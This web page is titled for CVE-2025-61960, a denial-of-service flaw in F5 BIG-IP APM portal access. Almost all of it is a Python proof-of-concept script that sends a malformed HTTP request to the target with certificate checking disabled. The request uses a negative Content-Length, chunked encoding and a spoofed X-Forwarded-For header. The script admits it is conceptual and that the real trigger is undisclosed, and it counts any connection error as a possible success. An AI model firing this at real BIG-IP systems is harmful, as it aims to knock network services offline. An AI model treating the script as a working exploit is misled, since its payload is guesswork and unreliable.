CVE-2025-61960：F5 BIG-IP APM 门户访问虚拟服务器拒绝服务漏洞

# CVE-2025-61960 PoC - F5 BIG-IP APM Portal Access DoS # Vulnerability: TMM termination via per-request policy on portal access virtual server # Note: This is a conceptual PoC based on vulnerability description import requests import socket import ssl import struct TARGET_HOST = "target_bigip_host" TARGET_PORT = 443 # HTTPS port for APM portal access def craft_malicious_request(): """ Craft a malicious HTTP request that triggers TMM termination when per-request policy is configured on BIG-IP APM portal access VS. The specific triggering payload is undisclosed by F5. """ # Build a malformed/specially crafted HTTP request # targeting the APM portal access endpoint payload = ( "GET /my.policy HTTP/1.1\r\n" f"Host: {TARGET_HOST}\r\n" "User-Agent: Mozilla/5.0\r\n" "Accept: */*\r\n" "Connection: keep-alive\r\n" # Crafted headers to trigger per-request policy processing edge case "X-Forwarded-For: 127.0.0.1\r\n" "Content-Length: -1\r\n" # Invalid content length to trigger edge case "Transfer-Encoding: chunked\r\n" "\r\n" "0\r\n" "\r\n" ) return payload.encode() def exploit(): """ Send crafted traffic to BIG-IP APM portal access virtual server to trigger TMM termination. """ try: context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE with socket.create_connection((TARGET_HOST, TARGET_PORT), timeout=10) as sock: with context.wrap_socket(sock, server_hostname=TARGET_HOST) as ssock: payload = craft_malicious_request() ssock.send(payload) response = ssock.recv(4096) print(f"Response received: {response[:100]}") print("TMM may have terminated - check target availability") except Exception as e: print(f"Connection error (possible DoS success): {e}") if __name__ == "__main__": exploit()